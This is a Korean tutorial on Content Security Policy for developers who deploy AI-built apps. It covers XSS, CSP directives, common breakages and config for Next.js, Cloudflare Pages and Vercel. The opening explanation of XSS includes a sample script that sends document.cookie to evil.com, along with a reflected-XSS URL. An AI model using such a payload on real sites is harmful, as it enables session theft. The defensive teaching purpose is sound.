배포했더니 콘솔이 빨간색이 됐다
Claude Code로 밤새 앱을 만들었다. Vercel에 올렸다. 링크도 공유했다. 근데 개발자 도구 콘솔을 열었더니 이게 가득하다.
Refused to load the script 'https://www.googletagmanager.com/gtag/js'
because it violates the following Content Security Policy directive:
"script-src 'self'"
Google Analytics가 안 뜬다. Hotjar도 없다. 심지어 내가 쓴 인라인 스타일도 차단됐다. 내가 뭘 잘못한 건가 싶지만 사실 이 오류는 CSP가 제대로 동작하고 있다는 신호다.
CSP가 뭔지, 왜 이런 오류가 나는지, 어떻게 고치는지 처음부터 짚어보겠다.
XSS가 어떻게 일어나는지 먼저 봐야 한다
CSP가 막으려는 게 XSS(Cross-Site Scripting)니까 XSS부터 보자.
댓글 기능이 있는 사이트가 있다. 누군가 댓글창에 이런 걸 입력했다.
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
서버가 이 내용을 그냥 HTML에 끼워 넣어서 저장하면, 다른 사용자가 그 댓글을 볼 때 브라우저가 이 스크립트를 실제 코드로 실행한다. 쿠키가 빠져나가고 세션이 탈취된다. 이게 Stored XSS다.
URL 파라미터를 이용하는 방식도 있다.
https://mysite.com/search?q=<script>악성코드</script>
검색 결과 페이지에서 이 파라미터를 그대로 화면에 뿌리면, 해당 링크를 클릭한 사람 브라우저에서 스크립트가 실행된다. 이건 Reflected XSS다.
브라우저 입장에서는 사이트가 원래 넣어둔 스크립트인지, 누가 주입한 악성 스크립트인지 구분할 방법이 없다. HTML에 있으니까 그냥 실행한다.
CSP는 경비실에 출입 허가 목록을 붙이는 것이다
아파트 경비실에 "CJ 택배, 마켓컬리, 쿠팡만 출입 가능. 나머지는 차단"이라는 메모가 붙어 있다고 생각하면 된다. CSP는 브라우저한테 그 메모를 주는 것이다.
HTTP 응답 헤더에 이렇게 붙여 보낸다.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
브라우저가 이 헤더를 받으면:
- 스크립트는 같은 도메인(
'self')이나cdn.example.com에서 온 것만 실행 - 다른 출처에서 온 스크립트는 전부 차단
누가 악성 스크립트를 HTML에 심어도, 출처가 허가 목록에 없으면 브라우저가 실행하지 않는다.
지시어 7개면 대부분 커버된다
CSP 헤더는 지시어(directive)를 세미콜론으로 이어 붙이는 방식이다. 자주 쓰는 것들만 추렸다.
| 지시어 | 무엇을 제어하나 | 예시 |
|---|---|---|
default-src | 따로 지정 안 된 리소스의 기본 폴백 | default-src 'self' |
script-src | JS 실행 허용 출처. 가장 중요 | script-src 'self' https://cdn.example.com |
style-src | CSS 허용 출처 | style-src 'self' 'unsafe-inline' |
img-src | 이미지 허용 출처 | img-src 'self' data: https: |
font-src | 웹폰트 허용 출처 | font-src 'self' https://fonts.gstatic.com |
connect-src | fetch, XHR, WebSocket 허용 출처 | connect-src 'self' https://api.example.com |
frame-src | iframe 허용 출처 | frame-src https://www.youtube.com |
값으로 쓸 수 있는 키워드들도 있다.
'self': 현재 도메인만 허용. 따옴표까지 포함해서 써야 작동한다'unsafe-inline': 인라인 스크립트/스타일 허용. 이름에 unsafe가 붙은 이유가 있다'unsafe-eval':eval()허용. 마찬가지로 되도록 피한다'nonce-xxxxx': 특정 nonce 값이 붙은 스크립트만 허용. 안전한 방법'strict-dynamic': nonce로 신뢰한 스크립트가 동적으로 불러오는 스크립트도 신뢰
바이브 코더가 자주 걸리는 상황 5가지
1. Google Analytics, GTM이 막혔다
제일 흔한 케이스다. script-src 'self'만 있으면 외부 도메인 스크립트는 전부 차단된다.
script-src 'self' https://www.googletagmanager.com https://www.google-analytics.com;
connect-src 'self' https://www.google-analytics.com https://analytics.google.com;
img-src 'self' https://www.google-analytics.com;
GTM은 스크립트를 동적으로 불러오기 때문에 connect-src랑 img-src도 같이 열어줘야 제대로 작동한다.
2. unsafe-inline을 script-src에 썼더니 CSP가 의미 없어졌다
script-src에 'unsafe-inline'을 넣으면 XSS 차단 효과가 거의 사라진다. 인라인 스크립트를 전부 허용하면 주입된 악성 코드도 실행되기 때문이다.
style-src에 'unsafe-inline'을 쓰는 건 상대적으로 덜 위험하다. CSS로는 스크립트를 실행할 수 없으니까. 그래도 좋은 선택은 아니다.
스크립트에서 인라인을 반드시 써야 한다면 nonce 방식으로 가야 한다.
3. Next.js 앱이 아예 뜨지 않는다
Next.js는 hydration 과정에서 <script> 태그를 인라인으로 삽입한다. script-src 'self'만 있으면 이 스크립트까지 차단돼서 앱 자체가 동작하지 않는다.
Next.js 공식 문서에서 권장하는 방법은 nonce다. 미들웨어에서 요청마다 랜덤 nonce를 만들어서 헤더로 내린다.
// middleware.ts
import { NextResponse } from 'next/server'
export function middleware(request) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${nonce}';
`
const response = NextResponse.next()
response.headers.set('Content-Security-Policy', cspHeader)
response.headers.set('x-nonce', nonce)
return response
}
4. Vite 개발 서버에서 앱이 안 뜬다
Vite의 HMR(Hot Module Replacement)은 내부적으로 eval()을 쓴다. 개발 환경에서 CSP를 테스트하다 보면 앱이 아예 안 켜지는 경우가 있는데 이게 원인인 경우가 많다.
개발 환경에서만 unsafe-eval을 허용하거나, 개발 환경에서는 CSP를 아예 끄는 편이 낫다. 프로덕션에 unsafe-eval은 절대 넣지 않는다.
5. styled-components, MUI 스타일이 안 잡힌다
styled-components, Emotion, MUI는 런타임에 <style> 태그를 동적으로 삽입한다. style-src 'self'만 있으면 이게 차단돼서 스타일이 전혀 안 입혀진다.
빠른 해결책은 style-src 'self' 'unsafe-inline'이다. 더 제대로 하려면 SSR에서 스타일을 미리 추출하는 방식을 쓰면 된다. MUI, styled-components 모두 서버 사이드 스타일 추출을 지원한다.
프레임워크별 실제 설정
Next.js (next.config.js)
정적 export(output: 'export')를 쓰면 미들웨어를 쓸 수 없어서 nonce가 안 된다. 이 경우엔 headers()로 고정 헤더를 내린다.
// next.config.js
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' https://www.googletagmanager.com",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.gstatic.com",
"connect-src 'self' https://www.google-analytics.com",
].join('; '),
},
],
},
]
},
}
module.exports = nextConfig
Cloudflare Pages (_headers)
프로젝트 루트에 _headers 파일을 만든다. 빌드 결과물 폴더(out/)가 아니라 소스 루트에 있어야 Cloudflare가 인식한다.
/*
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googletagmanager.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://www.google-analytics.com
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Vercel (vercel.json)
{
"headers": [
{
"source": "/(.*)",
"headers": [
{
"key": "Content-Security-Policy",
"value": "default-src 'self'; script-src 'self' https://www.googletagmanager.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://www.google-analytics.com"
}
]
}
]
}
바로 적용하기 전에 Report-Only로 먼저 테스트한다
CSP를 처음 넣을 때 바로 차단 모드로 들어가면 뭔가 깨질 가능성이 높다. Content-Security-Policy-Report-Only 헤더를 쓰면 실제로 차단하지 않고 위반 사항만 콘솔에 기록한다.
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'
이 상태에서 사이트를 돌려보면서 콘솔에 어떤 출처들이 위반으로 찍히는지 본다. 그 목록을 허가 목록에 추가한 다음 Content-Security-Policy로 바꾸면 훨씬 안전하게 전환할 수 있다.
순서로 정리하면 이렇다.
Report-Only모드로 헤더 추가- 콘솔 위반 목록 확인하면서 필요한 출처 파악
- 허가 목록 정리
Content-Security-Policy로 교체- 배포 후 콘솔에 새 위반이 없는지 다시 확인
정리
CSP는 브라우저에게 "이 출처에서 온 리소스만 써도 돼"라고 알려주는 허가 목록이다. XSS 공격이 HTML에 스크립트를 끼워 넣어도, 출처가 허가 목록에 없으면 브라우저가 실행을 거부한다.
바이브 코딩으로 만든 앱은 Analytics, 폰트, 외부 CDN을 많이 쓰기 때문에 CSP 설정이 다소 번거롭다. 하지만 AI가 생성한 코드의 40%에 보안 취약점이 있다는 Stanford 연구 결과를 생각하면, 직접 보안 레이어를 챙기는 습관을 들일 만하다.
콘솔에 Refused to load 오류가 떴을 때 당황하지 말자. 오류 메시지에 어떤 출처가 차단됐는지 정확히 나와 있다. 그 출처를 CSP 허가 목록에 추가하면 끝이다.